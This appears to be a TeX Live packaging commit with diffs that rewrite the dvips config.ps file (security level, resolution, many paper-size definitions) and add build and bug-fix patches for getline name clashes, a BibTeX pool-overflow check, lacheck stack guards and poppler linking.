-*  To send output via a pipe to a printing program, use something like:
-*o |lpr
-*o |lpr -Pmyprinter
-*  To send output to standard output by default, use:
-*o -
-*
-*  z1 is "secure", i.e., inhibits execution of `shell commands` in \specials.
-*  Dvips allows this by default.
-*z1
-*
-*  Additional default .map files.
-* p +cmfonts.map
-* p +lafonts.map
-* p +cyrfonts.map
-* p +eufonts.map
-*
-*   Last resort bitmap sizes.
-R  240 270 300 329 360 432 518 622 746 896
-*
-*
-*   Paper size information.  First definition is the default.
-*
-*   If your default is a4 uncomment the following definition
-*   and comment out the letterSize definition.
-@ a4size 210mm 297mm
+% config.ps - configuration file for dvips.
+% Tomas Rokicki, Thomas Esser, Karl Berry, et al., 1986ff, public domain.
+
+% Memory available. Download the three-line PostScript file:
+%   %! Hey, we're PostScript
+%   /Times-Roman findfont 30 scalefont setfont 144 432 moveto
+%   vmstatus exch sub 40 string cvs show pop showpage
+% to determine this number. (It will be the only thing printed.)
+m 3500000
+
+% Run securely.  z2 disables both shell command execution in
+% `\special' and config files (via the `E' option) and opening of any
+% absolute filenames.  z1, the default, forbids shell escapes but
+% allows absolute filenames.  z0 allows both.  The corresponding
+% command line options are -R0|-R1|-R2
+z1
+
+% How to print, maybe with lp instead lpr, etc. If commented-out, output
+% will go into a file by default.
+%o |lpr
+
+% Default resolution of this device, in dots per inch.
+D 600
+X 600
+Y 600
+
+% Metafont mode.  (This is completely different from the -M
+% command-line option, which controls whether mktexpk is invoked.)
+% See ../../metafont/misc/modes.mf for a list of mode names.  This mode
+% and the D number above must agree, or mktexpk will get confused.
+M ljfour
+
+% Last resort bitmap sizes.
+R 300 600
+
+% Correct printer offset. You can use testpage.tex from the LaTeX
+% distribution to find these numbers.
+O 0pt,0pt
+
+% Bitmap font compression. Results in more compact output files, but
+% sometimes causes trouble. So the default is disabled. Set Z1 to enable
+% this feature.
+Z0
+
+% Partially download Type 1 fonts by default.  Only reason not to do
+% this is if you encounter bugs.  (Please report them to
+% @email{tex-k at tug.org} if you do.)
+j
+
+% This shows how to add your own map file.
+% Remove the comment and adjust the name:
+% p +myfonts.map
+
+% If we have setpagedevice, use that.
+% else if we have the a4 resp. letter operator, use that.
+% else do nothing to set the page size.
+% 
+% In the past, the a4size and letterSize definitions did not set the
+% page size, but we want to set it if we can so that ps2pdf can work
+% properly.  Here, a4 and a4size, and letter and letterSize, are
+% identical, and we prefer the a4/letter names -- texconfig uses them.
+ 
+% 0 0 595 842 is the right bounding box that applications expect
+% for A4.  Since dvips always rounds up, choose something slightly
+% smaller for our paper size.
+
+@ a4 210mm 297mm
 @+ ! %%DocumentPaperSizes: a4
- at + %%PaperSize: a4
+ at + %%BeginPaperSize: a4
+ at + /setpagedevice where
+ at +  { pop << /PageSize [595 842] >> setpagedevice }
+ at +  { /a4 where { pop a4 } if }
+ at + ifelse
+ at + %%EndPaperSize
 
-*@ letterSize 8.5in 11in
+@ letter 8.5in 11in
 @+ ! %%DocumentPaperSizes: Letter
+ at + %%BeginPaperSize: Letter
+ at + /setpagedevice where
+ at +  { pop << /PageSize [612 792] >> setpagedevice }
+ at +  { /letter where { pop letter } if }
+ at + ifelse
+ at + %%EndPaperSize
 
-@ letter 8.5in 11in
+@ a4size 210mm 297mm
+ at + ! %%DocumentPaperSizes: a4
+ at + %%BeginPaperSize: a4
+ at + /setpagedevice where
+ at +  { pop << /PageSize [595 842] >> setpagedevice }
+ at +  { /a4 where { pop a4 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ letterSize 8.5in 11in
 @+ ! %%DocumentPaperSizes: Letter
 @+ %%BeginPaperSize: Letter
- at + %letter
+ at + /setpagedevice where
+ at +  { pop << /PageSize [612 792] >> setpagedevice }
+ at +  { /letter where { pop letter } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+% The jacow paper size is the smaller of letter and a4 in both
+% dimensions, and can therefore hopefully be printed on either paper
+% size.  As far as we know, Volker Schaa first used it for the JACOW
+% conference proceedings that he produced.
+@ jacow 210mm 11in
+ at + ! %%DocumentPaperSizes: jacow
+ at + %%BeginPaperSize: jacow
+ at + /setpagedevice where
+ at +  { pop << /PageSize [595 792] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+% The smallbook paper size has been used by the Free Software Foundation
+% to print manuals for many years, and is part of Texinfo.
+@ smallbook 7in 9.25in
+ at + ! %%DocumentPaperSizes: smallbook
+ at + %%BeginPaperSize: smallbook
+ at + /setpagedevice where
+ at +  { pop << /PageSize [504 666] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ halfexecutive 133mm 184mm
+ at + ! %%DocumentPaperSizes: halfexecutive
+ at + %%BeginPaperSize: halfexecutive
+ at + /setpagedevice where
+ at +  { pop << /PageSize [378 522] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ halfletter 140mm 216mm
+ at + ! %%DocumentPaperSizes: halfletter
+ at + %%BeginPaperSize: halfletter
+ at + /setpagedevice where
+ at +  { pop << /PageSize [396 612] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ statement 140mm 216mm
+ at + ! %%DocumentPaperSizes: statement
+ at + %%BeginPaperSize: statement
+ at + /setpagedevice where
+ at +  { pop << /PageSize [396 612] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ executive 184mm 267mm
+ at + ! %%DocumentPaperSizes: executive
+ at + %%BeginPaperSize: executive
+ at + /setpagedevice where
+ at +  { pop << /PageSize [522 756] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+% for powerdot
+@ screen 8.25in 11in
+ at + ! %%DocumentPaperSizes: Screen
+ at + %%BeginPaperSize: Screen
+ at + /setpagedevice where
+ at +  { pop << /PageSize [594 792] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+% a common size for printers (in north america).
+@ sixbynine 6in 9in
+ at + ! %%DocumentPaperSizes: SixByNine
+ at + %%BeginPaperSize: SixByNine
+ at + /setpagedevice where
+ at +  { pop << /PageSize [432 648] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ quarto 215mm 275mm
+ at + ! %%DocumentPaperSizes: quarto
+ at + %%BeginPaperSize: quarto
+ at + /setpagedevice where
+ at +  { pop << /PageSize [610 780] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ note 216mm 279mm
+ at + ! %%DocumentPaperSizes: note
+ at + %%BeginPaperSize: note
+ at + /setpagedevice where
+ at +  { pop << /PageSize [612 792] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ folio 216mm 330mm
+ at + ! %%DocumentPaperSizes: folio
+ at + %%BeginPaperSize: folio
+ at + /setpagedevice where
+ at +  { pop << /PageSize [612 936] >> setpagedevice }
+ at + if
 @+ %%EndPaperSize
 
 @ legal 8.5in 14in
 @+ ! %%DocumentPaperSizes: Legal
 @+ %%BeginPaperSize: Legal
- at + %legal
+ at + /setpagedevice where
+ at +  { pop << /PageSize [612 1008] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ 10x14 10in 14in
+ at + ! %%DocumentPaperSizes: 10x14
+ at + %%BeginPaperSize: 10x14
+ at + /setpagedevice where
+ at +  { pop << /PageSize [720 1008] >> setpagedevice }
+ at + if
 @+ %%EndPaperSize
 
 @ ledger 17in 11in
 @+ ! %%DocumentPaperSizes: Ledger
 @+ %%BeginPaperSize: Ledger
- at + %ledger
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1224 792] >> setpagedevice }
+ at + if
 @+ %%EndPaperSize
 
 @ tabloid 11in 17in
 @+ ! %%DocumentPaperSizes: Tabloid
 @+ %%BeginPaperSize: Tabloid
- at + %11x17
+ at + /setpagedevice where
+ at +  { pop << /PageSize [792 1224] >> setpagedevice }
+ at + if
 @+ %%EndPaperSize
 
-@ a4 210mm 297mm
- at + ! %%DocumentPaperSizes: a4
- at + %%BeginPaperSize: a4
- at + %a4
+@ 11x17 11in 17in
+ at + ! %%DocumentPaperSizes: 11x17
+ at + %%BeginPaperSize: 11x17
+ at + /setpagedevice where
+ at +  { pop << /PageSize [792 1224] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ a0 841mm 1189mm
+ at + ! %%DocumentPaperSizes: a0
+ at + %%BeginPaperSize: a0
+ at + /setpagedevice where
+ at +  { pop << /PageSize [2384 3370] >> setpagedevice }
+ at +  { /a0 where { pop a0 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ a1 594mm 841mm
+ at + ! %%DocumentPaperSizes: a1
+ at + %%BeginPaperSize: a1
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1684 2384] >> setpagedevice }
+ at +  { /a1 where { pop a1 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ a2 420mm 594mm
+ at + ! %%DocumentPaperSizes: a2
+ at + %%BeginPaperSize: a2
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1191 1684] >> setpagedevice }
+ at +  { /a2 where { pop a2 } if }
+ at + ifelse
 @+ %%EndPaperSize
 
 @ a3 297mm 420mm
 @+ ! %%DocumentPaperSizes: a3
 @+ %%BeginPaperSize: a3
- at + %a3
+ at + /setpagedevice where
+ at +  { pop << /PageSize [842 1191] >> setpagedevice }
+ at +  { /a3 where { pop a3 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ a5 148mm 210mm
+ at + ! %%DocumentPaperSizes: a5
+ at + %%BeginPaperSize: a5
+ at + /setpagedevice where
+ at +  { pop << /PageSize [420 595] >> setpagedevice }
+ at +  { /a5 where { pop a5 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ a6 105mm 148mm
+ at + ! %%DocumentPaperSizes: a6
+ at + %%BeginPaperSize: a6
+ at + /setpagedevice where
+ at +  { pop << /PageSize [298 420] >> setpagedevice }
+ at +  { /a6 where { pop a6 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ a7 74mm 105mm
+ at + ! %%DocumentPaperSizes: a7
+ at + %%BeginPaperSize: a7
+ at + /setpagedevice where
+ at +  { pop << /PageSize [210 298] >> setpagedevice }
+ at +  { /a7 where { pop a7 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ a8 52mm 74mm
+ at + ! %%DocumentPaperSizes: a8
+ at + %%BeginPaperSize: a8
+ at + /setpagedevice where
+ at +  { pop << /PageSize [147 210] >> setpagedevice }
+ at +  { /a8 where { pop a8 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ a9 37mm 52mm
+ at + ! %%DocumentPaperSizes: a9
+ at + %%BeginPaperSize: a9
+ at + /setpagedevice where
+ at +  { pop << /PageSize [105 147] >> setpagedevice }
+ at +  { /a9 where { pop a9 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ a10 26mm 37mm
+ at + ! %%DocumentPaperSizes: a10
+ at + %%BeginPaperSize: a10
+ at + /setpagedevice where
+ at +  { pop << /PageSize [74 105] >> setpagedevice }
+ at +  { /a10 where { pop a10 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ jisb0 1030mm 1456mm
+ at + ! %%DocumentPaperSizes: jisb0
+ at + %%BeginPaperSize: jisb0
+ at + /setpagedevice where
+ at +  { pop << /PageSize [2920 4127] >> setpagedevice }
+ at +  { /jisb0 where { pop jisb0 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ jisb1 728mm 1030mm
+ at + ! %%DocumentPaperSizes: jisb1
+ at + %%BeginPaperSize: jisb1
+ at + /setpagedevice where
+ at +  { pop << /PageSize [2064 2920] >> setpagedevice }
+ at +  { /jisb1 where { pop jisb1 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ jisb2 515mm 728mm
+ at + ! %%DocumentPaperSizes: jisb2
+ at + %%BeginPaperSize: jisb2
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1460 2064] >> setpagedevice }
+ at +  { /jisb2 where { pop jisb2 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ jisb3 364mm 515mm
+ at + ! %%DocumentPaperSizes: jisb3
+ at + %%BeginPaperSize: jisb3
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1032 1460] >> setpagedevice }
+ at +  { /jisb3 where { pop jisb3 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ jisb4 257mm 364mm
+ at + ! %%DocumentPaperSizes: jisb4
+ at + %%BeginPaperSize: jisb4
+ at + /setpagedevice where
+ at +  { pop << /PageSize [729 1032] >> setpagedevice }
+ at +  { /jisb4 where { pop jisb4 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ jisb5 182mm 257mm
+ at + ! %%DocumentPaperSizes: jisb5
+ at + %%BeginPaperSize: jisb5
+ at + /setpagedevice where
+ at +  { pop << /PageSize [516 729] >> setpagedevice }
+ at +  { /jisb5 where { pop jisb5 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ jisb6 128mm 182mm
+ at + ! %%DocumentPaperSizes: jisb6
+ at + %%BeginPaperSize: jisb6
+ at + /setpagedevice where
+ at +  { pop << /PageSize [363 516] >> setpagedevice }
+ at +  { /jisb6 where { pop jisb6 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ jisb7 91mm 128mm
+ at + ! %%DocumentPaperSizes: jisb7
+ at + %%BeginPaperSize: jisb7
+ at + /setpagedevice where
+ at +  { pop << /PageSize [258 363] >> setpagedevice }
+ at +  { /jisb7 where { pop jisb7 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ jisb8 64mm 91mm
+ at + ! %%DocumentPaperSizes: jisb8
+ at + %%BeginPaperSize: jisb8
+ at + /setpagedevice where
+ at +  { pop << /PageSize [181 258] >> setpagedevice }
+ at +  { /jisb8 where { pop jisb8 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ b0 1000mm 1414mm
+ at + ! %%DocumentPaperSizes: b0
+ at + %%BeginPaperSize: b0
+ at + /setpagedevice where
+ at +  { pop << /PageSize [2835 4008] >> setpagedevice }
+ at +  { /b0 where { pop b0 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ b1 707mm 1000mm
+ at + ! %%DocumentPaperSizes: b1
+ at + %%BeginPaperSize: b1
+ at + /setpagedevice where
+ at +  { pop << /PageSize [2004 2835] >> setpagedevice }
+ at +  { /b1 where { pop b1 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ b2 500mm 707mm
+ at + ! %%DocumentPaperSizes: b2
+ at + %%BeginPaperSize: b2
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1417 2004] >> setpagedevice }
+ at +  { /b2 where { pop b2 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ b3 353mm 500mm
+ at + ! %%DocumentPaperSizes: b3
+ at + %%BeginPaperSize: b3
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1001 1417] >> setpagedevice }
+ at +  { /b3 where { pop b3 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ b4 250mm 353mm
+ at + ! %%DocumentPaperSizes: b4
+ at + %%BeginPaperSize: b4
+ at + /setpagedevice where
+ at +  { pop << /PageSize [709 1001] >> setpagedevice }
+ at +  { /b4 where { pop b4 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ b5 176mm 250mm
+ at + ! %%DocumentPaperSizes: b5
+ at + %%BeginPaperSize: b5
+ at + /setpagedevice where
+ at +  { pop << /PageSize [499 709] >> setpagedevice }
+ at +  { /b5 where { pop b5 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ b6 125mm 176mm
+ at + ! %%DocumentPaperSizes: b6
+ at + %%BeginPaperSize: b6
+ at + /setpagedevice where
+ at +  { pop << /PageSize [354 499] >> setpagedevice }
+ at +  { /b6 where { pop b6 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ c5 162mm 229mm
+ at + ! %%DocumentPaperSizes: c5
+ at + %%BeginPaperSize: c5
+ at + /setpagedevice where
+ at +  { pop << /PageSize [459 649] >> setpagedevice }
+ at +  { /c5 where { pop c5 } if }
+ at + ifelse
+ at + %%EndPaperSize
+
+@ DL 110mm 220mm
+ at + ! %%DocumentPaperSizes: DL
+ at + %%BeginPaperSize: DL
+ at + /setpagedevice where
+ at +  { pop << /PageSize [312 624] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ Comm10 105mm 241mm
+ at + ! %%DocumentPaperSizes: Comm10
+ at + %%BeginPaperSize: Comm10
+ at + /setpagedevice where
+ at +  { pop << /PageSize [297 684] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ Monarch 98.4mm 190.5mm
+ at + ! %%DocumentPaperSizes: Monarch
+ at + %%BeginPaperSize: Monarch
+ at + /setpagedevice where
+ at +  { pop << /PageSize [279 540] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ archE 36in 48in
+ at + ! %%DocumentPaperSizes: archE
+ at + %%BeginPaperSize: archE
+ at + /setpagedevice where
+ at +  { pop << /PageSize [2592 3456] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ archD 24in 36in
+ at + ! %%DocumentPaperSizes: archD
+ at + %%BeginPaperSize: archD
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1728 2592] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ archC 18in 24in
+ at + ! %%DocumentPaperSizes: archC
+ at + %%BeginPaperSize: archC
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1296 1728] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ archB 12in 18in
+ at + ! %%DocumentPaperSizes: archB
+ at + %%BeginPaperSize: archB
+ at + /setpagedevice where
+ at +  { pop << /PageSize [864 1296] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ archA 9in 12in
+ at + ! %%DocumentPaperSizes: archA
+ at + %%BeginPaperSize: archA
+ at + /setpagedevice where
+ at +  { pop << /PageSize [648 864] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ flsa 216mm 330.2mm
+ at + ! %%DocumentPaperSizes: flsa
+ at + %%BeginPaperSize: flsa
+ at + /setpagedevice where
+ at +  { pop << /PageSize [612 936] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ flse 216mm 330.2mm
+ at + ! %%DocumentPaperSizes: flse
+ at + %%BeginPaperSize: flse
+ at + /setpagedevice where
+ at +  { pop << /PageSize [612 936] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ csheet 431.8mm 558.8mm
+ at + ! %%DocumentPaperSizes: csheet
+ at + %%BeginPaperSize: csheet
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1224 1584] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ dsheet 558.8mm 863.6mm
+ at + ! %%DocumentPaperSizes: dsheet
+ at + %%BeginPaperSize: dsheet
+ at + /setpagedevice where
+ at +  { pop << /PageSize [1584 2448] >> setpagedevice }
+ at + if
+ at + %%EndPaperSize
+
+@ esheet 863.6mm 1117.6mm
+ at + ! %%DocumentPaperSizes: esheet
+ at + %%BeginPaperSize: esheet
+ at + /setpagedevice where
+ at +  { pop << /PageSize [2448 3168] >> setpagedevice }
+ at + if
 @+ %%EndPaperSize
 
 @ unknown 0in 0in

texlive-elif.patch:
 ParagraphLayout.cpp |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE texlive-elif.patch ---
diff -up texlive-2007/libs/icu-xetex/layoutex/ParagraphLayout.cpp.elif texlive-2007/libs/icu-xetex/layoutex/ParagraphLayout.cpp
--- texlive-2007/libs/icu-xetex/layoutex/ParagraphLayout.cpp.elif	2006-07-25 14:37:43.000000000 +0200
+++ texlive-2007/libs/icu-xetex/layoutex/ParagraphLayout.cpp	2009-02-26 10:28:40.000000000 +0100
@@ -745,7 +745,7 @@ le_int32 ParagraphLayout::getLanguageCod
 
     return nullLanguageCode;
 }
-#elif
+#else
 
 // TODO - dummy implementation for right now...
 le_int32 ParagraphLayout::getLanguageCode(const Locale *locale)

texlive-getline.patch:
 afm2pl/afm2pl.c     |   12 ++++++------
 dvipsk/afm2tfm.c    |    8 ++++----
 web2c/cpascal.h     |    1 +
 web2c/mpware/mpto.c |    8 ++++----
 4 files changed, 15 insertions(+), 14 deletions(-)

--- NEW FILE texlive-getline.patch ---
diff -up texlive-2007/texk/afm2pl/afm2pl.c.getline texlive-2007/texk/afm2pl/afm2pl.c
--- texlive-2007/texk/afm2pl/afm2pl.c.getline	2006-01-17 22:41:51.000000000 +0100
+++ texlive-2007/texk/afm2pl/afm2pl.c	2009-04-02 15:18:30.000000000 +0200
@@ -345,7 +345,7 @@ P2C (register int, x, register int, y)
 
 /* read a line from infile into buffer and obuffer */
 int
-  getline
+  _getline
 P1H (void)
 {
   register char *p;
@@ -781,7 +781,7 @@ P1H (void)
     afmencoding->vec[i] = ".notdef";
   afmencoding->name = "Unspecified";
 
-  while (getline ()) {
+  while (_getline ()) {
     switch (interest (paramstring ())) {
     case FontName:
       fontname = paramnewstring ();
@@ -963,7 +963,7 @@ gettoken ()
 
   while (1) {
     while (param == 0 || *param == 0) {
-      if (getline () == 0)
+      if (_getline () == 0)
         error ("! premature end in encoding file");
     }
     if (param[0] == '%') {
@@ -1540,7 +1540,7 @@ extraligkerninfo ()
     encfilename =
       openin (encfilename, kpse_enc_format, ".enc");
     for (lig_it = 0; lig_it < 2; lig_it++) {
-      while (getline ()) {
+      while (_getline ()) {
         /* search for (ligkern) comment in line */
         for (p = buffer; *p; p++)
           if (*p == '%') {
@@ -1576,7 +1576,7 @@ extraligkerninfo ()
     for (i = 0; i < ligfilenames->n; i++) {
       ligfilename = openin (ligfilenames->names[i],
                             kpse_lig_format, ".lig");
-      while (getline ())
+      while (_getline ())
         checkligkern (buffer, 0);       /* 2nd param 0: lig file */
       fclose (infile);
     }
@@ -1607,7 +1607,7 @@ extraligkerninfo ()
   for (i = 0; i < Ligfilenames->n; i++) {
     ligfilename = openin (Ligfilenames->names[i],
                           kpse_lig_format, ".lig");
-    while (getline ())
+    while (_getline ())
       checkligkern (buffer, 0);       /* 2nd param 0: lig file */
     fclose (infile);
   }
diff -up texlive-2007/texk/dvipsk/afm2tfm.c.getline texlive-2007/texk/dvipsk/afm2tfm.c
--- texlive-2007/texk/dvipsk/afm2tfm.c.getline	2009-04-02 15:10:49.000000000 +0200
+++ texlive-2007/texk/dvipsk/afm2tfm.c	2009-04-02 15:20:59.000000000 +0200
@@ -257,7 +257,7 @@ transform P2C(register int, x, register 
 }
 
 int
-getline P1H(void) {
+_getline P1H(void) {
    register char *p ;
    register int c ;
 
@@ -612,7 +612,7 @@ readadobe P1H(void) {
    ai = newchar() ;
    ai->adobenum = -1 ;
    ai->adobename = "||" ; /* boundary character name */
-   while (getline()) {
+   while (_getline()) {
       switch(interest(paramstring())) {
 case FontName:
          fontname = paramnewstring() ;
@@ -1888,7 +1888,7 @@ char *gettoken() {
 
    while (1) {
       while (param == 0 || *param == 0) {
-         if (getline() == 0)
+         if (_getline() == 0)
             error("! premature end in encoding file") ;
          for (p=buffer; *p; p++)
             if (*p == '%') {
@@ -1979,7 +1979,7 @@ struct encoding *readencoding P1C(char *
       p = gettoken() ;
       if (strcmp(p, "]"))
          error("! token 258 in encoding must be make-array (])") ;
-      while (getline()) {
+      while (_getline()) {
          for (p=buffer; *p; p++)
             if (*p == '%') {
                if (ignoreligkern == 0)
diff -up texlive-2007/texk/web2c/cpascal.h.getline texlive-2007/texk/web2c/cpascal.h
--- texlive-2007/texk/web2c/cpascal.h.getline	2006-12-27 00:37:34.000000000 +0100
+++ texlive-2007/texk/web2c/cpascal.h	2009-04-02 15:10:49.000000000 +0200
@@ -14,6 +14,7 @@
 
 /* We must include this first, to resolve many C issues.  */
 #include "config.h"
+#define getline _getline
 
 /* We only use getopt in the applications, not in web2c itself.  */
 #include <kpathsea/getopt.h>
diff -up texlive-2007/texk/web2c/mpware/mpto.c.getline texlive-2007/texk/web2c/mpware/mpto.c
--- texlive-2007/texk/web2c/mpware/mpto.c.getline	2006-11-28 14:24:53.000000000 +0100
+++ texlive-2007/texk/web2c/mpware/mpto.c	2009-04-02 15:10:50.000000000 +0200
@@ -99,7 +95,7 @@ usage(char *progn)
 }
 
 char *
-getline(void)
+_getline(void)
 {				/* returns NULL on EOF or error, otherwise buf */
     int c;
     unsigned loc = 0;
@@ -304,11 +300,11 @@ copytex(void)
     while (*aa == ' ' || *aa == '\t')
 	aa++;
     if (*aa == 0)
-	if ((aa = getline()) == NULL)
+	if ((aa = _getline()) == NULL)
 	    err("btex section does not end");
     do {
 	if (*aa == 0)
-	    if ((aa = getline()) == NULL)
+	    if ((aa = _getline()) == NULL)
 		err("btex section does not end");
 	    else
 		printf("\n");
@@ -465,7 +461,7 @@ Current maintainer: Taco Hoekwater.\n");
 	postverb = troff_postverb;
     }
     printf("%s", predoc);
-    while (getline() != NULL)
+    while (_getline() != NULL)
 	do_line();
     printf("%s", postdoc);
     exit(0);

texlive-poolfix.patch:
 bibtex.ch |    9 +++++++++
 1 file changed, 9 insertions(+)

--- NEW FILE texlive-poolfix.patch ---
diff -up texlive-2007/texk/web2c/bibtex.ch.poolfix texlive-2007/texk/web2c/bibtex.ch
--- texlive-2007/texk/web2c/bibtex.ch.poolfix	2006-12-27 00:37:34.000000000 +0100
+++ texlive-2007/texk/web2c/bibtex.ch	2009-10-16 06:55:52.000000000 +0200
@@ -1134,6 +1134,15 @@ while ((ex_buf_xptr < ex_buf_ptr) and
 @y
 @z
 
+% Forgot to check for pool overflow here.  Triggered by test case linked
+% from http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=520920.
+ at x
+while (sp_ptr < sp_end) do                      {shift the substring}
+ at y
+str_room(sp_end - sp_ptr);
+while (sp_ptr < sp_end) do                      {shift the substring}
+ at z
+
 % [459] Eliminate unreferenced statement label, because `undefined' is
 % now a constant expression that is not evaluated at the Web level. If
 % this label were ever required, it could be replaced by the constant

texlive-lacheck.patch:
 lacheck.lex |   16 ++++++++++------
 1 file changed, 10 insertions(+), 6 deletions(-)

Index: texlive-lacheck.patch
===================================================================
RCS file: /cvs/pkgs/rpms/texlive/F-10/texlive-lacheck.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- texlive-lacheck.patch	27 Aug 2008 13:45:49 -0000	1.2
+++ texlive-lacheck.patch	21 Oct 2009 17:26:46 -0000	1.3
@@ -15,3 +15,30 @@ diff -up texlive-2007/texk/lacheck/lache
  }
  
  void e_checkend(n, name)
+@@ -1075,6 +1075,7 @@ char *name;
+ 	{
+ 	  print_bad_match(name,3);
+           pop();
++          if (gstackp <= 0) return;
+         }
+ 
+          pop();  
+@@ -1090,11 +1091,13 @@ int type;
+ 		 line_count, 
+ 		 eg_command( end_command , type) ) ;
+ 
+-	  printf("\"%s\", line %d: -> unmatched \"%s\"\n",
+-	         CG_FILE, 
+-		 CG_LINE, 
+-		 bg_command( CG_NAME ) ) ;
+-	  warn_count += 2;
++	  if (gstackp > 0) {
++		 printf("\"%s\", line %d: -> unmatched \"%s\"\n",
++		 	 CG_FILE, 
++		 	 CG_LINE, 
++		 	 bg_command( CG_NAME ) ) ;
++		 warn_count += 2;
++	  }
+ }
+ 
+ int check_top_level_end(end_command,type)

texlive-poppler.patch:
 configure                           |    6 ++--
 configure.in                        |    8 +++---
 texk/web2c/pdftexdir/pdftex.mk      |    7 ++++-
 texk/web2c/pdftexdir/pdftexextra.in |    2 -
 texk/web2c/pdftexdir/pdftoepdf.cc   |   45 +++++++++++++++++-------------------
 texk/web2c/pdftexdir/pdftosrc.cc    |   37 +++++++++++++++--------------
 texk/web2c/pdftexdir/utils.c        |    6 ++--
 texk/web2c/xetexdir/XeTeX_ext.c     |    8 ++----
 texk/web2c/xetexdir/pdfimage.cpp    |   24 +++++++++++++++----
 texk/web2c/xetexdir/xetex.mk        |   10 +++++---
 10 files changed, 86 insertions(+), 67 deletions(-)

Index: texlive-poppler.patch
===================================================================
RCS file: /cvs/pkgs/rpms/texlive/F-10/texlive-poppler.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- texlive-poppler.patch	2 Dec 2007 08:03:19 -0000	1.1
+++ texlive-poppler.patch	21 Oct 2009 17:26:46 -0000	1.2
@@ -1,6 +1,59 @@
+diff -up texlive-2007/configure.in.poppler texlive-2007/configure.in
+--- texlive-2007/configure.in.poppler	2007-01-09 02:17:11.000000000 +0100
++++ texlive-2007/configure.in	2009-10-15 14:57:43.000000000 +0200
+@@ -157,9 +157,9 @@ export needs_zlib
+ 
+ # we need libxpdf for pdf[ex]tex, xetex
+ test ! -d $srcdir/$LIBXPDFDIR && : ${needs_libxpdf=no}
+-test "$with_pdftex"  != no    && : ${needs_libxpdf=yes}
+-test "$with_pdfetex" != no    && : ${needs_libxpdf=yes}
+-test "$with_xetex"   != no    && : ${needs_libxpdf=yes}
++test "$with_pdftex"  != no    && : ${needs_libxpdf=no}
++test "$with_pdfetex" != no    && : ${needs_libxpdf=no}
++test "$with_xetex"   != no    && : ${needs_libxpdf=no}
+ : ${needs_libxpdf=no}
+ export needs_libxpdf
+ 
+@@ -207,7 +207,7 @@ dnl We cannot use variables (e.g. $LIBPN
+ sinclude(libs/libpng/libpng.ac)
+ sinclude(libs/zlib/zlib.ac)
+ sinclude(libs/ncurses/ncurses.ac)
+-sinclude(libs/xpdf/libxpdf.ac)
++#sinclude(libs/xpdf/libxpdf.ac)
+ sinclude(libs/t1lib/t1lib.ac)
+ sinclude(libs/gd/gd.ac)
+ sinclude(libs/freetype/freetype.ac)
+diff -up texlive-2007/configure.poppler texlive-2007/configure
+--- texlive-2007/configure.poppler	2007-01-09 15:16:26.000000000 +0100
++++ texlive-2007/configure	2009-10-15 14:57:43.000000000 +0200
